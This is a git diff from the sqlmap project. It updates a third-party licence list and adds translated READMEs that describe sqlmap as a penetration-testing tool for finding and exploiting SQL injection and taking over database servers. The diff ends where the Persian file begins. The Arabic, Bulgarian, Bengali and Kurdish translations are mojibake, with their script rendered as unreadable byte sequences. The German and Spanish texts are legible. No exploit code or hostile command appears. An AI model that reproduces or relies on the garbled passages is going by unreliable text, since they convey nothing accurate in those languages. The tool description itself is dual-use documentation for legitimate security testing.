a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index f2479b31a6c..971e794be6a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -2,27 +2,20 @@ This file lists bundled packages and their associated licensing terms. # BSD -* The Ansistrm library located under thirdparty/ansistrm/. +* The `Ansistrm` library located under `thirdparty/ansistrm/`. Copyright (C) 2010-2012, Vinay Sajip. -* The Beautiful Soup library located under thirdparty/beautifulsoup/. +* The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`. Copyright (C) 2004-2010, Leonard Richardson. -* The ClientForm library located under thirdparty/clientform/. +* The `ClientForm` library located under `thirdparty/clientform/`. Copyright (C) 2002-2007, John J. Lee. Copyright (C) 2005, Gary Poster. Copyright (C) 2005, Zope Corporation. Copyright (C) 1998-2000, Gisle Aas. -* The Colorama library located under thirdparty/colorama/. - Copyright (C) 2010, Jonathan Hartley. -* The Fcrypt library located under thirdparty/fcrypt/. +* The `Colorama` library located under `thirdparty/colorama/`. + Copyright (C) 2013, Jonathan Hartley. +* The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The Odict library located under thirdparty/odict/. - Copyright (C) 2005, Nicola Larosa, Michael Foord. -* The Oset library located under thirdparty/oset/. - Copyright (C) 2010, BlueDynamics Alliance, Austria. - Copyright (C) 2009, Raymond Hettinger, and others. -* The PrettyPrint library located under thirdparty/prettyprint/. - Copyright (C) 2010, Chris Hall. -* The SocksiPy library located under thirdparty/socks/. +* The `PySocks` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. ```` @@ -51,17 +44,9 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # LGPL -* The Chardet library located under thirdparty/chardet/. +* The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The Gprof2dot library located under thirdparty/gprof2dot/. - Copyright (C) 2008-2009, Jose Fonseca. -* The KeepAlive library located under thirdparty/keepalive/. - Copyright (C) 2002-2003, Michael D. Stenner. -* The MultipartPost library located under thirdparty/multipart/. - Copyright (C) 2006, Will Holcomb. -* The XDot library located under thirdparty/xdot/. - Copyright (C) 2008, Jose Fonseca. -* The icmpsh tool located under extra/icmpsh/. +* The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. ```` @@ -234,7 +219,7 @@ Library. # PSF -* The Magic library located under thirdparty/magic/. +* The `Magic` library located under `thirdparty/magic/`. Copyright (C) 2011, Adam Hupp. ```` @@ -279,11 +264,13 @@ be bound by the terms and conditions of this License Agreement. # MIT -* The bottle web framework library located under thirdparty/bottle/. - Copyright (C) 2012, Marcel Hellkamp. -* The PageRank library located under thirdparty/pagerank/. - Copyright (C) 2010, Corey Goldberg. -* The Termcolor library located under thirdparty/termcolor/. +* The `bottle` web framework library located under `thirdparty/bottle/`. + Copyright (C) 2024, Marcel Hellkamp. +* The `identYwaf` library located under `thirdparty/identywaf/`. + Copyright (C) 2019-2021, Miroslav Stampar. +* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. + Copyright (C) 2010-2024, Benjamin Peterson. +* The `Termcolor` library located under `thirdparty/termcolor/`. Copyright (C) 2008-2011, Volvox Development Team. ```` @@ -310,5 +297,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Public domain -* The PyDes library located under thirdparty/pydes/. +* The `PyDes` library located under `thirdparty/pydes/`. Copyleft 2009, Todd Whiteman. +* The `win_inet_pton` library located under `thirdparty/wininetpton/`. + Copyleft 2014, Ryan Vennell. diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md new file mode 100644 index 00000000000..6def1dae26e --- /dev/null +++ b/doc/translations/README-ar-AR.md @@ -0,0 +1,69 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +
+ +برنامج sqlmap هو أداة اختبار اختراق Ù…Ùتوحة المصدر تقوم بأتمتة عملية اكتشا٠واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كش٠قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترÙØŒ ومجموعة واسعة من الخيارات بما ÙÙŠ ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملÙات الأساسي، وتنÙيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق. + +لقطات الشاشة +---- + +
+ +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +
+ +يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات ÙÙŠ الويكي. + +التثبيت +---- + +يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master). + +ÙŠÙضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap): + +
+ + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +
+ +يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** Ùˆ **2.7** Ùˆ **3.x** على أي نظام تشغيل. + +الاستخدام +---- + +للحصول على قائمة بالخيارات والمÙاتيح الأساسية استخدم: + +
+ + python sqlmap.py -h + +
+ +للحصول على قائمة بجميع الخيارات والمÙاتيح استخدم: + +
+ + python sqlmap.py -hh + +
+ +يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601). +للحصول على نظرة عامة على إمكانيات sqlmapØŒ وقائمة الميزات المدعومة، ووص٠لجميع الخيارات والمÙاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +الروابط +---- + +* الصÙحة الرئيسية: https://sqlmap.org +* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master) +* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues +* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki +* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* تويتر: [@sqlmap](https://x.com/sqlmap) +* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ساحة التدريب: https://sekumart.sekuripy.hr +* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md new file mode 100644 index 00000000000..eac60822f01 --- /dev/null +++ b/doc/translations/README-bg-BG.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap e инÑтрумент за теÑтване и проникване, Ñ Ð¾Ñ‚Ð²Ð¾Ñ€ÐµÐ½ код, който автоматизира процеÑа на откриване и използване на недоÑтатъците на SQL база данните чрез SQL инжекциÑ, коÑто ги взима от Ñървъра. Снабден е Ñ Ð¼Ð¾Ñ‰ÐµÐ½ детектор, множеÑтво Ñпециални функции за най-Ð´Ð¾Ð±Ñ€Ð¸Ñ Ñ‚ÐµÑтер и широк Ñпектър от функции, които могат да Ñе използват за множеÑтво цели - извличане на данни от базата данни, доÑтъп до оÑновната файлова ÑиÑтема и изпълнÑване на команди на операционната ÑиÑтема. + +Демо Ñнимки +---- + +![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Можете да поÑетите [колекциÑта от Ñнимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи нÑкои функции, качени на wiki. + +ИнÑталиране +---- + +Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). + +За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap работи ÑамоÑтоÑтелно Ñ [Python](https://www.python.org/download/) верÑÐ¸Ñ **2.7** и **3.x** на вÑички платформи. + +Използване +---- + +За да получите ÑпиÑък Ñ Ð¾Ñновните опции използвайте: + + python sqlmap.py -h + +За да получите ÑпиÑък Ñ Ð²Ñички опции използвайте: + + python sqlmap.py -hh + +Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). +За да разберете възможноÑтите на sqlmap, ÑпиÑък на поддържаните функции и опиÑание на вÑички опции, заедно Ñ Ð¿Ñ€Ð¸Ð¼ÐµÑ€Ð¸, Ñе препоръчва да Ñе разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Връзки +---- + +* Ðачална Ñтраница: https://sqlmap.org +* ИзтеглÑне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS емиÑиÑ: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ПроÑледÑване на проблеми и въпроÑи: https://github.com/sqlmapproject/sqlmap/issues +* Упътване: https://github.com/sqlmapproject/sqlmap/wiki +* ЧеÑто задавани въпроÑи (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Площадка за упражнениÑ: https://sekumart.sekuripy.hr +* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md new file mode 100644 index 00000000000..2cff7d25282 --- /dev/null +++ b/doc/translations/README-bn-BD.md @@ -0,0 +1,63 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +**SQLMap** à¦à¦•à¦Ÿà¦¿ ওপেন সোরà§à¦¸ পেনিটà§à¦°à§‡à¦¶à¦¨ টেসà§à¦Ÿà¦¿à¦‚ টà§à¦² যা সà§à¦¬à¦¯à¦¼à¦‚কà§à¦°à¦¿à¦¯à¦¼à¦­à¦¾à¦¬à§‡ SQL ইনজেকশন দà§à¦°à§à¦¬à¦²à¦¤à¦¾ সনাকà§à¦¤ ও শোষণ করতে à¦à¦¬à¦‚ ডাটাবেস সারà§à¦­à¦¾à¦° নিয়নà§à¦¤à§à¦°à¦£à§‡ নিতে সহায়তা করে। à¦à¦Ÿà¦¿ à¦à¦•à¦Ÿà¦¿ শকà§à¦¤à¦¿à¦¶à¦¾à¦²à§€ ডিটেকশন ইঞà§à¦œà¦¿à¦¨, উনà§à¦¨à¦¤ ফিচার à¦à¦¬à¦‚ পেনিটà§à¦°à§‡à¦¶à¦¨ টেসà§à¦Ÿà¦¾à¦°à¦¦à§‡à¦° জনà§à¦¯ দরকারি বিভিনà§à¦¨ অপশন নিয়ে আসে। à¦à¦° মাধà§à¦¯à¦®à§‡ ডাটাবেস ফিঙà§à¦—ারপà§à¦°à¦¿à¦¨à§à¦Ÿà¦¿à¦‚, ডাটাবেস থেকে তথà§à¦¯ আহরণ, ফাইল সিসà§à¦Ÿà§‡à¦® অà§à¦¯à¦¾à¦•à§à¦¸à§‡à¦¸, à¦à¦¬à¦‚ অপারেটিং সিসà§à¦Ÿà§‡à¦®à§‡ কমানà§à¦¡ চালানোর মতো কাজ করা যায়, à¦à¦®à¦¨à¦•à¦¿ আউট-অফ-বà§à¦¯à¦¾à¦¨à§à¦¡ সংযোগ বà§à¦¯à¦¬à¦¹à¦¾à¦° করেও। + + + +সà§à¦•à§à¦°à¦¿à¦¨à¦¶à¦Ÿ +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-à¦à¦° বিভিনà§à¦¨ ফিচারের ডেমোনসà§à¦Ÿà§à¦°à§‡à¦¶à¦¨ দেখতে পারেন। + +ইনসà§à¦Ÿà¦²à§‡à¦¶à¦¨ +--- +সরà§à¦¬à¦¶à§‡à¦· টারবলে ডাউনলোড করà§à¦¨ [à¦à¦–ানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সরà§à¦¬à¦¶à§‡à¦· জিপ ফাইল [à¦à¦–ানে](https://github.com/sqlmapproject/sqlmap/zipball/master)। + +অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে কà§à¦²à§‹à¦¨ করà§à¦¨: + +``` +git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev +``` + +SQLMap সà§à¦¬à¦¯à¦¼à¦‚কà§à¦°à¦¿à¦¯à¦¼à¦­à¦¾à¦¬à§‡ [Python](https://www.python.org/download/) **2.7** à¦à¦¬à¦‚ **3.x** সংসà§à¦•à¦°à¦£à§‡ যেকোনো পà§à¦²à§à¦¯à¦¾à¦Ÿà¦«à¦°à§à¦®à§‡ কাজ করে। + + + +বà§à¦¯à¦¬à¦¹à¦¾à¦°à§‡à¦° নিরà§à¦¦à§‡à¦¶à¦¿à¦•à¦¾ +--- + +বেসিক অপশন à¦à¦¬à¦‚ সà§à¦‡à¦šà¦¸à¦®à§‚হ দেখতে বà§à¦¯à¦¬à¦¹à¦¾à¦° করà§à¦¨: + +``` +python sqlmap.py -h +``` + +সমসà§à¦¤ অপশন ও সà§à¦‡à¦šà§‡à¦° তালিকা পেতে বà§à¦¯à¦¬à¦¹à¦¾à¦° করà§à¦¨: + +``` +python sqlmap.py -hh +``` + +আপনি à¦à¦•à¦Ÿà¦¿ নমà§à¦¨à¦¾ রান দেখতে পারেন [à¦à¦–ানে](https://asciinema.org/a/46601)। +SQLMap-à¦à¦° সমà§à¦ªà§‚রà§à¦£ ফিচার, কà§à¦·à¦®à¦¤à¦¾, à¦à¦¬à¦‚ কনফিগারেশন সমà§à¦ªà¦°à§à¦•à§‡ বিসà§à¦¤à¦¾à¦°à¦¿à¦¤ জানতে [বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° মà§à¦¯à¦¾à¦¨à§à¦¯à¦¼à¦¾à¦²](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামরà§à¦¶ দেওয়া হচà§à¦›à§‡à¥¤ + + + +লিঙà§à¦•à¦¸à¦®à§‚হ +--- + +* হোমপেজ: https://sqlmap.org +* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ইসà§à¦¯à§ টà§à¦°à§à¦¯à¦¾à¦•à¦¾à¦°: https://github.com/sqlmapproject/sqlmap/issues +* বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° মà§à¦¯à¦¾à¦¨à§à¦¯à¦¼à¦¾à¦²: https://github.com/sqlmapproject/sqlmap/wiki +* সচরাচর জিজà§à¦žà¦¾à¦¸à¦¿à¦¤ পà§à¦°à¦¶à§à¦¨ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* অনà§à¦¶à§€à¦²à¦¨ সাইট: https://sekumart.sekuripy.hr +* সà§à¦•à§à¦°à¦¿à¦¨à¦¶à¦Ÿ: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md new file mode 100644 index 00000000000..02471d311a2 --- /dev/null +++ b/doc/translations/README-ckb-KU.md @@ -0,0 +1,68 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + + +
+ + + +بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە Ú©Û• بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە Ú©Û• Ú©ÛŽØ´Û•ÛŒ ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها Ú©Û†Ù…Û•ÚµÛŽÚ© سکریپتی بەرÙراوانی هەیە Ú©Û• ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن Ù„Û•Ú¯Û•Úµ بنکەدراوە. Ù„Û• کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم Ùˆ جێبەجێکردنی Ùەرمانەکان Ù„Û• Ú•ÛŽÚ¯Û•ÛŒ پەیوەندی Out Of Band Ù„Û• سیستەمی کارگێڕدا. + + +سکرین شاتی ئامرازەکە +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +بۆ بینینی [Ú©Û†Ù…Û•ÚµÛŽÚ© سکرین شات Ùˆ سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت. + + +دامەزراندن +---- + +بۆ دابەزاندنی نوێترین وەشانی tarballØŒ کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت. + +باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap Ù„Û• دەرەوەی سندوق کاردەکات Ù„Û•Ú¯Û•Úµ [Python](https://www.python.org/download/) وەشانی **2.6**ØŒ **2.7** Ùˆ **3.x** لەسەر هەر پلاتÙۆرمێک. + +چۆنیەتی بەکارهێنان +---- + +بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان Ùˆ سویچەکان ئەمانە بەکاربهێنە: + + python sqlmap.py -h + +بۆ بەدەستهێنانی لیستی هەموو بژاردە Ùˆ سویچەکان ئەمە بەکار بێنا: + + python sqlmap.py -hh + +دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601). +بۆ بەدەستهێنانی تێڕوانینێکی گشتی Ù„Û• تواناکانی sqlmapØŒ لیستی تایبەتمەندییە پشتگیریکراوەکان، Ùˆ وەسÙکردنی هەموو هەڵبژاردن Ùˆ سویچەکان، Ù„Û•Ú¯Û•Úµ نموونەکان، ئامۆژگاریت دەکرێت Ú©Û• ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +بەستەرەکان +---- + +* ماڵپەڕی سەرەکی: https://sqlmap.org +* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Ùیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues +* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki +* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr +* ÙˆÛŽÙ†Û•ÛŒ شاشە: https://github.com/sqlmapproject/sqlmap/wiki/ÙˆÛŽÙ†Û•ÛŒ شاشە + +وەرگێڕانەکان diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md new file mode 100644 index 00000000000..abb9cea3a8d --- /dev/null +++ b/doc/translations/README-de-DE.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Ãœbernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. + +Screenshots +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen. + +Installation +--- + +[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. + +Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform. + +Benutzung +--- + +Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl: + + python sqlmap.py -h + +Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl: + + python sqlmap.py -hh + +Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Ãœberblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. + +Links +--- + +* Webseite: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues +* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki +* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Spielwiese: https://sekumart.sekuripy.hr +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md new file mode 100644 index 00000000000..a2878800d6e --- /dev/null +++ b/doc/translations/README-es-MX.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". + +Capturas de Pantalla +--- +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). + +Instalación +--- + +Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma. + +Uso +--- + +Para obtener una lista de opciones básicas: + + python sqlmap.py -h + +Para obtener una lista de todas las opciones: + + python sqlmap.py -hh + +Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). +Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Enlaces +--- + +* Página principal: https://sqlmap.org +* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues +* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki +* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo de pruebas: https://sekumart.sekuripy.hr +* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md new file mode 100644 index 00000000000..2f3cbf31349 --- /dev/null +++ b/doc/translations/README-fa-IR.md @@ -0,0 +1,85 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + + +
